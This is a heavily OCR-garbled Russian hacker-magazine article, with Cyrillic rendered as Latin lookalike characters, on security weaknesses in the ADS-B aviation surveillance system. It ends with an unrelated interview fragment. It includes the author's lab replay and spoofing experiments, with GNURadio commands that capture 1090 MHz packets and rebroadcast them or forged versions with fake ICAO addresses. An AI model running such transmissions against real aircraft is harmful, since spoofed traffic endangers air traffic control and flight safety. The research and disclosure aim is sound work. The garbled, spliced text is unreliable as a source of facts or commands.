4Kk, Tak HasbiBaeMblt UAT (Universal Access Transceiver), BeLatowui
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YCTPORCTBO CTapbiX pafapHbiX cucTeM HabniopeHns

Ha yacToTe 978 MI'y. Paguyc pacnpoctpaHeHus nHdopmaLm Ha obenx
yacToTax no cneundukauysm npumepHo 200 MOpCKUX MUb.

B Llensix KOHTPoNs U KOOPAMHALIMM BO3AYLWHOMO NOTOKa 3Ty UHPOP-
Mauuio nonyyatoT Apyrue BC, HazeMHble CTaHLWW U Ha3eMHble CyAa,
obopynoBaHHble ADS-B. HazeMHble cTaHLmm MoryT addeKTBHO KoMbu-
HMpoBaTb MHpopMaLwio ¢ obenx yactoT 1090 1 978 MI L, a TakKe MoryT
106aBNATb JONOAHNTENBHYIO UHPOPMALMIO, NONYYEHHYIO OT Ha3eMHbIX
panapos Ay He-ADS-B-ycTpoiicTB, U NOTOM peTpaHCAMPYIOT faHHble
ans scex BC B paguyce obcnyxusanus. [JonoaHUTeNbHOW BO3MOXKHOCTbIO
aBnseTcs 06paboTka v NocblNKa AaHHbIX B pa3Hble OHAANH-CUCTEMbI
ons bonee fetanbHoro 0TobpaxkeHus n aHanmsa.

ADS-B paboTaeT B pexxuMe paanoBeLLaHus, a 3To 03Ha4vaeT, 4To f0-
cTyn K uHdopmauun ADS-B becnnateH n ceobopeH ans Bcex. He cekpert
TaKXe U To, 4To NosiHyw nHpopmaumio ADS-B MoryT npuHumaTh 1 pagmo-
NoBUTENN, KOTOPbIE 3TO YXKe YCMeLHO [4eNaloT MHOTO 1eT, @ NOTOM
cobupatoT BCe rnobanbHble aHHbe BOeAUHO W 0ToOpaxatoT r1obanbHyio
KapTMHy NONETOB N MECTOHAXOXAEHNS BO3AYLIHbIX CYAOB Ha canTax,
nofobHbIx npoekTy Flightradar24, o koTopoM Mbl roBopuY BblLLe. YHN-
BepCasbHOCTb W OTKPBITOCTb Nepeaym AaHHbIX XopoLla Ans BHepeHNs
peLLeHN OT pa3HbIX MPOU3BOAUTENEN, HO Y Hee eCTb MHOXECTBO Hefo-
CTaTKOB C TOYKM 3peHuns nHdobe3onacHoCTy, kak v byfeT pacckasaHo
B CriefiyloLLieM pasferne.

YA3B/MOCTW ADS-B

B 3TOM paspene Mbl pacckaxeM 0 caMblX BaXHbIX YSI3BUMOCTSIX, KOTOpble
npucytcTytoT B cucteMe ADS-B. Kak okazanocb, — 1 370 Mo MeHbLUew
Mepe YAMBUTENbHO, €C/IN He NyratoLe, — [JaHHbI NPOTOKO He NCMOSb-
3yeT HUKaKMX CPeCTB 3alluThl NpK Nepefaye AaHHbIX, Kak, Hanpumep,

Cepeuc Flightradar24 nokasbiBaeT KapTy peicoB B peaibHOM BpeMeH!
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CnydpuHr B BO3AYXE

GPS otnpasnset
Ha BC koopauHaTel

MeCcTonoI0XKeHns

CaMoneTbl nepesaloT Apyr Apyry
JaHHbIe 0 MECTOMOJOKEHNH,
CKOPOCTM 1 BbICOTE

Bce paHHble
" MOCHINAOTCS Ha 3eMJII0 L.
ons paclumdpoBknm .-”

oL ObpaboTaHHas
MHpOpMaL s nocbinaercs
— [ncneTyepy U BeIBOAUTCS
S~ Ha pagap

06uwasn cxeMa aBUAKOMMYHWKaLWiA CliepyloLero noKoneHus

WwndpoBaHMe 1 NPOYHYI0 KpUNTONoAMMUCh. / 3T0 HECMOTPS Ha BaXHOCTb

be30macHOCTY NONETOB M CUCTEM MOAAEPXKKM LIS KOHTPOJIS MOJIETOB.
Bo Bcex ADS-B-nakeTax npucyTcTByIOT clefiytolme fBa Nons, npea-

CTaBnsitoLLMe AN1S HAaC 0COBeHHbIN MHTepec:

o AircraftAddress(AA), 8 KoTopoMyKa3biBaeTcs r106abHO YH KA b-
Hbl npeHTndukaTtop BC. AHanornyHo IMSI Ha SIM-kapTe nnu MAC-
afipecy ceTeBo KapThl (fa, aBTopbl 3HaT, 470 MAC-afpec MoXHO
noAMeHNTb:)).

 ParityInformation (Pl), koTopoe cofepuT uHbopMaLnio ANs KoH-
Tpons 6uTHo yeTHocTH, v Parity Information (PI).

XoTs Hanuume nocnefHero nNons, Ha NepBbli B3rNsg, npefoxpaHser
naKeTbl OT CTOPOHHEN, CIy4aNHON UK 310HaMePEeHHON, MaHUNYASLMK,
HO 370 BOBCE He TaK. [laHHoe nosie MOXeT ToJIbKO NOACKa3aTh, Obln in
JonyLeHbl cnyyaiiHble owmnbkn npu nepefaye AaxHbIx. C Apyroi ctopo-
Hbl, 3/10yMbILLNEHHWK, BPEAOHOCHO MaHUNYAUPYIOLLNA AaHHBIMU, MOXeT
MpOCTO W NIerko NepecynTaTb KOHTPObHY0 cyMMy Pl, nonyyas B ntore
BMOJIHE 30POBbIN U BanuaHbli naket ADS-B.

[nobanbHocTb naeHTMdUKaTopa BC 1 yHKanbHOCTL MMEIOT Apyroe
nocnencTBue — CyLiecTBEHHO ocnabnsietcs besonacHocts ADS-B
C TOYKM 3peHns KoHpuaeHumanbHocTn. 04eBMAHO, 3TO MO3BONSAET OT-
cnexuBaTb AaHHbIE BCEX CAMOJIETOB B PeXMMe peasibHoro BpeMeHu. 370
nepBbl 04eBUAHbIA Qe TEXHONOTUH.

BTopoi TMn ys3BMMOCTEN CBA3aH C OTCYTCTBMEM MeXaHW3MOoB
A5 TPOYHOI KpunTonoAnucK. HeTpyAHO NOHATb, 4T camoe rnasHoe
B 3TOM YA3BMMOCTU — 3TO BO3MOXHOCTb MOChINaTh B 3QUP NoaAeNbHble
AaHHble NN NoJMeHKBaTb MHPOPMaLMIO B HACTOALLMX NakeTax, a camoe
HEeMnpuATHOe — 3T0 TOT $GaKT, 4TO CTOPOHA, MPUHMMAaIOLLAN faHHble
nakeTbl, He MOXeT bbITb yBepeHa HW B MOAANHHOCTW NakeTa, HU B UAeH-
TUOUKALMM NOCHINAIOLLETO, HU B OTCYTCTBUM 3/10BPELHBIX U3MEHEHUN
B HEKOEM U3HayaslbHO MOJJIMHHOM nakeTe.

TpeTuit BUL yI3BUMOCTEN CBSA3aH C OTCYTCTBMEM KPUMTOBaHMWS Ha Mna-
KeTHOM ypoBHe. Cuctemy ana ADS-B ang npuMeHeHWs B MUPHbIX Liensix
cfilenany HeKpUNTOBaHHO MO pAAY TEXHUYeCKNX NpUYmMH. Bo-nepBbix,
BO3MOXHOCTW 0bopynoBaHus ans ADS-B HefocTaTouHbl Ans pecypco-
eMKUX KpunTtoonepaLuuit. Bo-BTopbIX, CyLLECTBYIOT U3LEPXKKN Ha YPOBHE
MeHe[KMeHTa KpunTokioyel. Ecnn cuctema bynet ncnonb3osatb OAUH
Koy o cucteMe «shared secret», To ero bygeT [ocTaTouHO 1ETKO
BbIYMCANTB, TaK Kak AJIMHA NakeTa HeBenuKa U 60bWUHCTBO AaHHbIX
B MaKeTe MOXHO npeficka3atb. C Apyroit CTOPOHbI, UCMONb30BaHKe
MHOPACTPYKTYPbl OTKPbITbIX KNtouel (PKI) HenpakTnyHo 3-3a Heckob-
KUX MPUYMH: a) B3aUMOLENCTBIE MEXAY CaMOIETaMM1 U Ha3eMHbIMM
CcTaHuMAMY reHepupyeT 6onbluoit Tpaduk; 6) AMHa NakeTa HefoCTaTOYHa
ans 3bbeKTUBHOI KpUNTO3aWumTh; B) npobneMaTnyHo pacnpocTpaHeHne
MHOOPMALN 0 HOBIX, aHHY/IMPOBAHHbIX 1 BPEMEHHbIX Kilo4ax/cepTndu-
KaTax. XoTs bblnv NpeAnoxeHbl pasHble obneryeHHble BapuaHTsl PKI, atn
pelueHus eLle Aanekun oT UX NPakTUYecKoro NCMoNb30BaHUs B AUHAMUY-
HOW cpefie BO3AYLUHbIX N0JeToB, 1 0cobeHHo ans cpensl ADS-B.
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MEPEXBAT NEPErOBOPOB

B ynpaBneHuu Bo3ayLUHbIM NOTOKOM TaKXXe UCMOMIb3YI0TCS F0J10COBbIE Ka-
HaJbl CBSI3W, N0 KOTOPBIM MU0ThI 06LLALTCS C AUCNeTYepaMu. ITU KaHanbI
cBs3v HasbiBatoT Airband VHF. TyT Hapo cka3aTb, YTo npueM yactoT Airband
VHF cBo6oaHo pa3peLueH, a faHHble HUKaK He wudpytoTes. ns npuema
HeobxopnuMo obopynosaHue Tuna Realistic PRO-22/34/74, ICOM, Navicom
IC-A22 v nopo6Hoe, 4eM Nosb3yeTcs OrpPOMHOe coobLecTBO NtobuTeneis,
KOTOpbIe BbIKJ1a[iblBatoT B 06LLMI LOCTYN NepexBayeHHbIe NeperoBopbl
(HanpumMep, Haradioscanner.ru). CToNb BbICOKY NONYASPHOCTb 1ETKO
06bACHNTL: LieHa Ha NoaxopsLume Ha eBay paumum HaunHaetcs ot $30-50 (3a
NPOCTON KUTaNCKMIA BapuaHT). HaxoasTcs n cMenbyaku nowyMeTs B apupe,
4TO BO MHOTMX CTPaHaXx yronoBHoO HakasyeMo. Mepepaya 6e3 cooTBETCTBY-
0L e INLLeH3UM NPOTUBO3aKOHHa. poLe roBops: «CrywaTe — MOXHO,

roBOPUTb — HET».
[oMMMo ronocoBbIx NeperoBopoB, Ha Yactotax Airband VHF nepepgatot-

sl TaKXKe TeXHUYeCKMe AaHHble, Ho B bonee y3Knx auanasoHax:

* ronocosble yacToTbl: 108,000/118,000-136,975 MI'y;

e norogHble yactoTbl: 161,650-163,275 MI'y;

*  y4acTOTbl aBapMiHbIX MasikoB: 121,5 My (IAD), 243 MI'y (MAD), 406 M.

CLLEEHAPUW ATAK HA ADS-B

HayHeM ¢ Toro, 4TO CLieHapueB aTak no AaHHOM TeMaTKe MOXHO Npy-
LyMaTb YMY U Kaabli U3 HUX NOTSHET Ha roNMBYACKMIA 60eBUK. YBbI,
Halla LeNb He NucaThb CLeHapun Ans 60eBMKOB, @ PAaCCMOTPETh TEXHOIO-
rnyeckume npobneMbl u pacnucatb napy bonee unu MeHee peanucTUyHbIX
aTak Ha 6ase ADS-B.

HanpuMep, aTaka Ha HeKOHQWAEHLMNANBHOCTb AaHHbIX U T106abHO
YHWKanbHble cTaTuyeckue ngeHtudunkatopol agpecos BC. [epexBa-
TbIBast AA, MOXHO CNIeiUTb UCKTIOUMTENbHO 33 UHTEPECHBIMU LieNsMK,
Takumu kak AirForceOne nnu AnyHble caMoneTbl FrONNNBYACKMX 3BE3A.
AecnnBceaTo eLLe MHTErpUPOBaTh C NyBANYHO JOCTYNHbIMK ba3amu
LLaHHbIX, eTaNbHO PacMUChIBAOLLMX IMYHbIE AaHHbIe BNafebLes
BC (en.wikipedia.org/wiki/Aircraft_registration), To, ecTecTBeHHo,
MOXHO MOJTY4YUTb MHTEPECHYI KapTUHY, MOKa3bIBaKLLYyto, KTO U3 BNa-
Aenbles (4acTo MUNNMOHEpbI, 3BE3/bI, FaBbl KOPNopaLwiil) rae Haxo-
ONTCS M KyAa nepeABuraeTcs. 370 B KaKOM-TO Mepe CPaBHUMO C CUTY-
aLueit, NP KOTOPOM INYHbIE laHHbIE perncTpaLum aBToTpaHcnopTa
CTaHyTNY6AMYHO LOCTYMHBIMY.

Takxe 3110yMbILUNEHHUK MOXET CbIMUTUPOBATb Ha IKpaHax fuc-
neTYepoB MOJIETOB BO3/YLIHOE CTOJIKHOBEHWE CaMOJIETOB WU Cre-
HepupoBaTb Ha 3KpaHax AWUCNETYepOB Napy ThiCAY HECYLLECTBYIOLLNX
BO3/YLUHbIX CYA0B, Ha 6a3e NoAAenbHbIX AAaHHbBIX, HO UCMONb3Ys peasb-
Hble MAEeHTUdMKATOPbI ApYriX CYAO0B, YTO cAienaeT paboTy Ancnetyepa
NPaKTUYECKM HEBbIMONHUMOM. 3TO MOXET NPUBECTYM K pa3Horo poga
nocnefcTBUSM — OT MaHUKK B WTabe fucneTyepos noneta fo cpaba-
TbIBAHWS HA3eMHBbIX CUCTEM MO NPefOTBPALLEHNI0 TEPPOPUCTUYECKUX
akToB (0CHOBaHHbIX NOKa Ha TEOPETUYECKOM YPOBHE) U BbI30BA CPOUHBIX
aBapunHbIX CNyxo.
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Bornee nyratowmnit npuMep ataku nerko npefcTaBuTh cebe ¢ yyeToMm
TOro, Kak bbICTPO Pa3BUBAKITCS CErofHS CUCTEMBI 3aMycKa CaMoHanpaB-
NALWMXCA paKeT Uan ApoHOB Ha base npueMHukos ADS-B ¢ 3afaHHbIMK
noeHTndukatopamu BC (AA) B kadecTse uenu. Kak MOXHO 3aMeTUTh,

B 3TOM CJly4ae He byayT HyXHbl CIOXKHbIE BOEHHbIE TEXHOI0rUM Mo na-
3epHOMY UV TEPMUYECKOMY HaBeJieHWIo Ha Liefib — BCEro-To HeobXoAnMm
npuemunk ADS-B, npuemHuk GPS/TNTIOHACC, Hy v cama pakerta :).

Ataku Ha ADS-B MoryT, HECOMHEHHO, CTaTb B HECKOJIbKO pa3 WH-
TepecHel 1 MOLLHell B KOHTEKCTe yXKe CyLL,ecTBYoWMX cuctem becnu-
NOTHbIX NleTaTenbHbIx annapatos UAV/UAS (Unmanned Aerial Vehicle/
System). CaMbIMy nonynsipHbIMM NpUMepamu 3geck aensgiotca MQ-1
Predator n MQ-9 Reaper. Mpobnema coctonT B TOM, 4T0 HecnunoTHble
cHcTeMbl AOKHBI yMEeTb paboTaTb aBTOHOMHO B 110001 cUTyaLuu, B TOM
4nCne ecan CBA3b C 0MepaTopoM HapyLUeHa WK OTCYTCTBYeT. 3To Aenaet
cucTeMy becnunoTHUKOB KpaiiHe v KpaiiHe yazBumon K ADS-B-aTtakam.
B paHHbIx aTakax, BO3MOXHO, CPOBOLMPOBaTL aBTOHOMHbI aBTOMUAOT
Ha HemnpaBUbHbIA, PUCKOBAHHbIN MW BbIFOAHbIN aTaKyloLLeMy MaHeBp
HaMHOrO Nlerye, YeM B CJly4ae CaMoNeToB, rAe pelueHus NpUHUMatoT
He TOJIbKO KOMMbIOTEPbI, HO W JTOAM.

WHCTPYMEHTHI 0J1A CITYOUHTA

Bo3MoxHbI 11 aTaku Ha npakTrke? ABTOp CTaTby yBEPeH B 3TOM, NOTOMY
4TO CaM NPOBOAWN UCCNefj0BaHNS B CBOeit NabopaTopui ¢ ManoMOLLHbIM
obopynoBaHueM. Ho npexne YeM rosoputb 0 codTe 1 0bopyaoBaHum,
nossonsiolmx pabotath ¢ ADS-B, cnelly npeaynpeaunTb: KaTeropuyecku
He pekoMeHrpyeM TecTbl HE B nabopaTopHbIx ycnoBusx, a Takxe TecTbl

¢ MowHocTbk 6onee 100 MBT nnu ¢ nogknto4eHHOM aHTeHHOW. ABTOp
NPOBOAW UCCE0BaHNS B U30/IMPOBAHHOW Cpefe.

HayHeM ¢ obopygoBaHus. Camblii npocToii Tvn fesaicos ans ADS-B,

KaK v Ans BCex Apyrnx pafnoTexHonorui, — 3To pagnonpueMHuKK.

M oH bonee yem besobuaeH. Ins ADS-B ecTb orpoMHOe KONMYECTBO

KaK NobnUTenbckux Bepcuii TUNa «cienai cam», Tak 1 KOMMepyeckimx
[eBalcoB C OrpoMHoI Texnoanepxkoii. Cnpasa npusefeHa Tabnuua

no AeBalicaM, N3BECTHbIM aBTOPY Ha fjaHHblii MOMeHT. OTMewy, 4To B Poc-
CUWM CYLLeCTBYET 04YeHb XOPOLLMIA pecypc no TexHonoruam ADS-B
(www.adsbradar.ru), Ha KOTOPOM MOXHO MpKoBpPecTH BoMbLLYI0 YacTb
3TUX ieBaiicoB. IMEHHO Takne NPUeMHMKN UCNOb3YI0T IHTY3MacThl
no BceMy MUpY 1 nepefatoT faHHble Yepes API cepaucy Flightradar2a.
lMepexBayeHHble AaHHbIe MOXKHO BU3YyasM3MpOBaTh Ha AOMaLLHEM
KOMMbloTepe ¢ noMolbio yTunutel PlanePlotter (www.coaa.co.uk/
planeplotter.htm), KoTopast aMynupyeT 3akpaH Aucnetyepa, NoOBTOPSA
ero BHeWHW B1A.

Ho npuHuMaTh gaHHble — ofHo, ybpaTb AN NCCNefoBaHNS XKe HyXKHbI
Bb1nn bosee HaBOPOYEHHbIE YCTPOICTBA, KOTOPble NoALEPXMNBAOT QYHK-
LIMOHanN nepefayn AaHHbIX 1 MOryT bbiTb NIErko 3anporpaMMupoBaHbl
Ha MOJYSLMIO HYXHbIX CUTHAI0B, — Tak Ha3biBaeMble Software Defined
Radio, nau SDR (nporpamMmHble peanusauuu pagmo). Korga ADS-B
TOJIbKO 3alyMblBanach, Takux ycTPOMCTB He bbii0 U Mano KTo Mor npea-
CTaBUTb, YTO 04EHb CKOPO UX MOXHO byfieT npuobpecTy 3a 0THOCUTENBHO
Hebosblwme feHbru. CaMbiMu nonyaspHbIMK aBasoTCa Xese3kn USRP1/

KAK CTATb YACTbIO COOBLLIECTBA

Ecnu Bapyr npuobpetewws cebe ADS-B-npueMHuK, To HUYero He cTouT
CTaTb elle OfHUM MPOBaNLEpPOM aHHbIX 41 COLMabHbIX CEPBUCOB
Bpofe Flightradar24. [ins sToro HeobxoanMbI:

» cobctBeHHoe obopynosaHue ans npuema. Hanpumep takoe (www.
flightradar?24.com/hardware), ecnn ol byfiellib OTCbINATL AaHHbIE NPU
nomotyn codpTurbl ot flightradar24.com, nnbo nioboe gpyroe yctpoin-
CTBO, NoAAepxuBaemoe yTunutoi PlanePlotter.

e cneumanbHbli codT (mogaepxueaetca Windows, Linux/ARM, Mac 0S).
Ytunuel ot flightradar24.com nnu nporpamma PlanePlotter.
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Tun } HaunMeHoBaHue } URLs
COTS RTL-SDR bit.ly/VyFP6x
COTS Kinetic Avionic SBS-1/1eR bit.ly/99QkhV
COoTS AirNavRadarBox bit.ly/SRkfgF
COTS  RadarGadgetsADSBVirtual Radar bit.ly/d90ET5
bit.ly/TYt9GS

COoTS Mode-S Beast bit.ly/RITtA2
bit.ly/TYtkba

COTS  SkyradarADS-B bit.ly/Vulte0
COTS Aurora Eurotech SSRx bit.ly/UPFwl
COTS/DYl MicroADSB bit.ly/Us9AoV
DYl miniADSB bit.|y/g/4s3T
bit.ly/VuJ5jQ
DYI PicADSB bit.ly/TPmAcF
DYI SimpleADSB ATmega48 bit.ly/SRKND7
DYI FPGAADSB (by DL4AMEA) bit.ly/QRoPfn
DYI PICADSB PIC 18F2550 (by DL4MEA) bit.ly/hR9rBt
bit.ly/Ua40gH

DYl | Adsbox bit.ly/Uxoi06

Cnucok ADS-B-np1eMHUKOB €O CCbISIKAMM Ha onucaHue

USRP2x, kotopble cTosT o $1500. OgHako ecTb BCe 0CHOBaHMS nonfratb,
4TO CKOpO Ha cBeT nossuTcsa feeanc HackRF, koTopbii ¢ TeM e dyHKLK-
oHanoM (Ho, BUAMMO, ¢ XyalmM kadecTsoM) bynet cTouts go 300.

C nx nomoLLbto «6plokM NpeBpaLLaloTcs B LWOPTbI», TO €CTb TECTOBBI
CTEHJ, MoJsTy4aeT BO3IMOXHOCTb NOCbINaTh B 3¢pup faHHble ADS-B ¢ Takum
XKe yCnexoM, KaK 3T0 [eNaloT caMoJIeThbl M Ha3eMHble cTaHuuu. bnaro-
[lapsi TOMy 4TO MHOTWE KOMMOHEHTbI pafuonepeaaTymka peann3oBaHbl
Ha NPOrpaMMHOM YpOBHE, 3HaUYUTENIbHO YNpoLLaeTcs paboTa ¢ KOHEYHO
CUCTEMON 1 ee oTNafKa.

Ckaxy 6onblue: cyLiecTByeT A0BOSIbHO MHOrO COdTa, KOTOPbI N03B0-
NieT NPUHUMaTh, LeMOJyIMPoBaTh U JeKOANPOBATL CUrHasbl U NaKeTbl
ADS-B. Huxe npuBefieH KpaTKUi CUCOK NPOEKTOB, CBA3aHHbIX TEM UIH
MHbIM 0bpa3om ¢ ADS-B pemonynsaumnein n feKoanpoBKon:

e GnuradioADS-Bradio (github.com/bistromath/gr-air-modes);
e adsb-pgr (code.google.com/p/adsb-pgr);

e gr-air (github.com/russss/gr-air);

e adsb (code.google.com/p/adsb).

OfHaKo roToBbI COBT AN KOLUPOBKN U MOLAYAALMMU MOKA, K CHACTBIO,
OTCYTCTBYET, NaBTOP TOXKE He X0ueT NpuBoAmuTL ero. OfHaKko npouecc
MOAYASLMM MO YEM OTANYAETCS OT MpOLLecca MOAYNALMUN C TOUKM
3peHus NporpamMMHoON peanusaLnm.

BHuMaHme: nepepaBatb TakuM 06pazom B 3¢up ceon aHHble ADS-B
NpOTUBO3aKOHHO! icTouHMK curHana bypet beicTpo HageH. Bes k-
dopMaLus NnprBeAeHa UCKIIYNTENbHO B0Opa3oBaTebHbIX LiessiX.

3KCTEPUMEHTHI ABTOPA

ABTOp NPOBOAMI HECKOJIbKO IKCMEPUMEHTOB B 3apaHee NoAroTOBJEH-
HoW nabopaTopuu. 3anuch C LEMOHCTPALLMOHHOrO CTeHAA AOCTYNHA
OHnawH: bit.ly/ADSB-DEMO.

[TepBbIv onbIT — peanusauns ataku Replay Attack, korga B adpup
oTnpasnsioTcs (noBTOPSItOTCSA) paHee nepexBadYeHHbIe faHHbIe,
4TO NPUBOAMT K NOABJIEHNIO ABOIIHMKA. 3TO camMas NpocTas aTaka,
KoTopas bbina peannsosaHa Ha USRPT v npu noMoLLm oTKpbITOro npo-
ekta GNURadio (gnuradio.org), Bkntoyatoiero B cebs pasHbie pagmno-
NPUMUTUBBI, U3 KOTOPbIX BO3MOXHO BOCMPOMU3BECTU BCE, YTO YrOAHO.
Kak 370 6bI710 caenaHo?

CHavana bbinn nepexsayeHbl ADS-B-nakeTbl Ha yacToTe 1090 MIw,
ana yero ncnonssosanca ckpunt uhd_rx_cfile.py (M3 naketa GNURadio):
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CnyduHr B BO3aYyXE

# MepexBaT AaHHbIX ADS-B

# UHD-mode

uhd_rx_cfile.py --spec B:@ --gain 25 --samp-rate 4000000
-f 1090000000 -v ~/CAPTURE_adsb.fc32

# Pre-UHD-mode

usrp_rx_cfile.py

[anee c nomowbto ckpunta tx_samples _from_file nepexsayeHHble
AaHHble 6bin BocnpoussefeHsl ¢ ncnonb3oaHneM GNURadio:

# Nepepadva/BocnponsBefeHne nepexBaYveHHbIX AaHHbIX ADS-B

# Pexum UHD-mode (Universal Hardware Driver), B KOTOpoM
# moxeT paboTaTb USRP1

tx_samples_from_file --file ~/CAPTURE_adsb.fc32 «

--ant "TX/RX" --rate 4000000 --freq 1090000000 --type
float --subdev B:0

# Pre-UHD-mode

usrp_replay file.py

[laHHble bbinn nepepatbl B 3¢up ¢ nomowybto USRP1 1 bbinn nony-
YeHbl C NoMOLLbio HaxoasLwerocs pagoM ADS-B-npuemhinka, nocne yero
BW3yann3npoBaHbl ¢ noMoLlbto npunoxenus PlanePlotter. Kak BuaHo
Ha Bugeo, boina nepexsayeHa ADS-B-TpaHcnauunsa:

ICAO Ox471F4E
ICAO ©0x300174

MakeTbl ADS-B 6binn 0TCHUbaHbI M AeACTBUTEIBHO MOBTOPHO
oTnpasaeHbl B 3¢up. Ecnu bbl 310 bbIN0 peanv3oBaHo B LeNCTBUTENbHO-
CTW, TO Ha 3KpaHe AucneTyepa oTobpasunnce bbl ABa BO3AYLIHbIX CyAHa
C OJMHAKOBbIM UAEHTUPUKATOPOM.

BTopoit akcnepuMeHT — npoBepka BO3MOXHOCTW NepexBaTuTb
ADS-B-nakeTbl 1 0TNPaBUTb 1X B 3GUP B MOAMDULIMPOBAHHOM BULE.

[Ona atoro 6bin ucnonbsosaH MATLAB n GNURadio: Ha ocHoBe BannaHbIx
nepexsayeHHbix ADS-B-TpaHcnsuuin 6binm chopMmpoBaHbl coobiyeHus

C U3MeHeHHbIMW NapameTpamu. Kak BUAHO Ha BUAEO, bbinmn TpaHcanpo-
BaHbl ADS-B nakeTbl ¢ agpecamMm U3BECTHbIMU KaXOMY XaKepy:

ICAO ©xDEADOQ
ICAO OxCAFE@Q
ICAO ©xBABE©Q

OTobpakeHne AaHHbIX C NpUeMHUKa Ha akpaHe PlanePlotter (370
BW[HO Ha BUAEO) JOKA3bIBAET 0YEBUAHOE: U3-33 OTCYTCTBUS KPUMTO-
3awunThl coobuieHns ADS-B gelictBUTENIBHO MOTYT b6bITH CHOPMUpPOBaA-
Hbl ¥ 0TNPaBIeHbl C MPON3BOJbHBIMU 3HAYEHUAMN NapaMeTpoB.

YBbl, 0ny6n1KoBaTb BeCb MCXOAHBIN KOA, HEBO3MOXHO. BaxHo apyroe:
CKOMbWHMpPOBaB TpaHcMBep Ha ba3se bonee fOPOroro 1 MeHee nopra-
TuBHoro USRP1/USRP2x unu meree gopororo 1 6osiee nopTaTMBHOrO
HackRF (korna HauHeTcs ero npofaxa) 1 106aBMB K 3TOMY HECIOXKHbIT
Kog Ha C/C++ nubo MATLAB, MOXXHO NOy4nTL yHUBEPCANbHOE CPEACTBO
I ABYXCTOPOHHel paboTbl ¢ ADS-B. lMoTeHunansHo Takas cucTema Mo-
XeT paboTaTb v C APYrUMU PafMOTEXHONOMMAMM, HACTO MCNONb3YeMbIMU
B aBUOHWKE, BO3/YLUHbIX 1 Ha3eMHO-BO3/YLUIHbIX CUCTEMAX.

3AKJTIOYEHWE, MW YTO AEJIATH JAJIBLLIE?

Kak Mbl ycrneLHo nokasanu Bo BpeMs LOKNAZ0B M pacckasany B 3Toi
cTaTbe, MONOXKeHMe e C 3aLMLLEHHOCTbI0 AaHHOM CUCTEMbI AaneKo

OT XOPOLLIEro, 4To 3aCTaBseT 33[jyMaTbCs 0 6€30MaCHOCTM MOJIETOB yXKe
ceityac. XoTa Mbl M yTpUpPOBaNM 0MacHoCTb NofobHo aTaku (Bce-Taku

B JOMosHeHKe K HoBoMogHon ADS-B pgns HabniogeHus Bcerga ucnonbay-
I0TCS M NPOBEPEHHbIe BPEMEHeM pajiapbl, KOTOPbIE MOMOrYT pacno3HaTb
aHoManuio), Ho TeM He MeHee npobemMa B TEXHONOMUM HANULLO.

Kak HeojHOKpaTHO NoKa3biBaa UCTOPUS, fieNla B aBUOHUKE U Ha3eM-
HO-BO3AYLUHbIX CHCTEMax 0bCTOAT He BCeraa Tak rnafko, Kak KaxeTcs.
MpumMep 3TOMy — HeflaBHO HalAeHHbIN uccnepoBatenamu n3 Kembpuaoxa
xapfBepHbln 63kpop B FPGA-yunax, ncnonbayemblii B BOEHHbIX CUCTE-
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1) AirNav RadarBox; 2) Aurora Eurotech; 3) Kinetic Avionic SBS-1; 4) HackRF;
5) microADSB-IP; 6) miniADSB; 7) RTL-SDR; 8) microADSB

Max, a Takxe B Tbicsiyax Boeing 787. [lpyroit npumep — 3axBaT BOEHHbIX
LPOHOB MpK NoMoLwKM cnyduHra cucteM Hasurauun Tuna GPS. Ha goHe
TaKuMX BOT «Ka3ycoB» ONaceHus no nosody 6€30MacHOCTU KOMMYHUKaLIMIA
B rpa)KAaHCKo 1 BOEHHOM aBnaLm bonee 4eM 060CHOBaHHDI.

ABTOPbI 04eHb HAZLLIOTCS, YTO UX UCCNEe0BaHNS [afyT NONOKUTENb-
HbI UMNyNbC pa3BUTUIO BesonacHoro pexnma ADS-B. [lns storo ecTb
XOpOLUME 0CHOBaHWs — MexayHapoAHas opraHu3aLus rpaxaaHcKoi
aBuaLnu co3fana B KoHLe Hosbps aToro roga rpynny Cyber Security Task
Force (CSTF), koTopas byaeT ncnonb3osath B paboTe pesysbTaThl HALINX
1 Bpyrvx nofobHbIX MccaesoBaHuit.

[NanbHenwme nccnepoBanns astopa byayT NoCBsLLEHbl APYrM
KOMMOHEHTaM CUCTEM KOMMYHVKALMIA B aBMaLMK, B 4AaCTHOCTH CUCTEME
npepynpexaenns cronkHoserus camonetos (Traffic Collision Avoidance
System, TCAS), uto Toxe obewaet 6biTb yBnekaTenbHbiM. CreguTe 3a Ho-
BOCTAMMU — U NPUATHBIX 1 De30NacHbIX NOSETOB U MATKON NOCcafKu, Kyaa
Bbl BbI HY NeTanu! 3C

AIRFORCE ONE

B 3TOM KOHTEKCTe BCMOMMHAETCA UCTOPUS C NMOSIBJIEHMEM Ha M0JIb30BaTesb-
ckux v uHTepHeT ADS-B pagapax camoneta nog HasBaHueM AirForceOne —
2370 HY MHOTO HU Mano camoseT npe3supenTa CLLA. CaM pakT Toro, uto

3TOT CaMoJIeT 3aCBETUICS Ha 00bIYHbIX paiapax, NnapafoKcaneH, Tak Kak
AirForceOne 06opyf0BaH BO@HHbIMU CPeLCTBAMMU CBSA3W M LOSKEH UC-
nosnb3oBaTh lWKMPpoBaHHyto Bepcuio ADS-B n ModeS nog HasBaHneM «Mode
5 Crypto Applique». Ecnu faHHble, noiiMaHHbIe pajapoM, peasbHble, TO
3ayeM AirForceOne 61510 LaBaTh BceM 0 cebe 3HaTb? Ecin Xe laHHble Ha
papapax 6611 pe3ynbTaToM cryga, 3HAYMT JIN 3TO, YTO KTO-TO YXKE aKTUBHO
aTakyet cuctemy ADS-B? o aToMy daKTy, K COXaNeHMIo, HA OfIMH OTBET He
ByneT HY XOPOLUMM, HY NTPaBUIIbHBIM.
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Becepoean CtenaH UnbuH

«Tutynbl» Mapka PyccnHoBuya
MOXXHO NepPeYncnaTb JoNro — npo-
rPaMMMUCT, CMELNANNCT MO BHY-
TpeHHeMy ycTporcTey Windows,
nucaTtesib, aBTOP MHOTOYMNCEHHbIX
ctatew, Technical Fellow B Microsoft.
/ cnoxHo nocumTaTh, CKOJIbKO pas
Mbl YIOMWUHAN B CBOUX CTaTbsAX p
ProcMon, FileMon un gpyrue He3a- ——
MEHUMbIE YTUANTbI, KOTOPbIE OH pas-
pabotan. M BoT Ha KoHdepeHL MK
TechEd 2012 HaMm yganocb Nn4HO
BCTPETUTHCS C 3TUM UHTEPECHBIM

M MHOTOrPaHHbIM YEI0BEKOM.

OAKTbI

¢ Popuncas1966ropy
BWUcnanuu.

¢ BbINyCKHMKYHUBEpcUTETA
KapHeru-MennoHa, 06-
napatenbcTeneHei baka-
naBpauAoKTopaBobnactu
BbIYUCIUTENIbHON TEXHUKH.

¢ B2006ropyBowenBTON-5
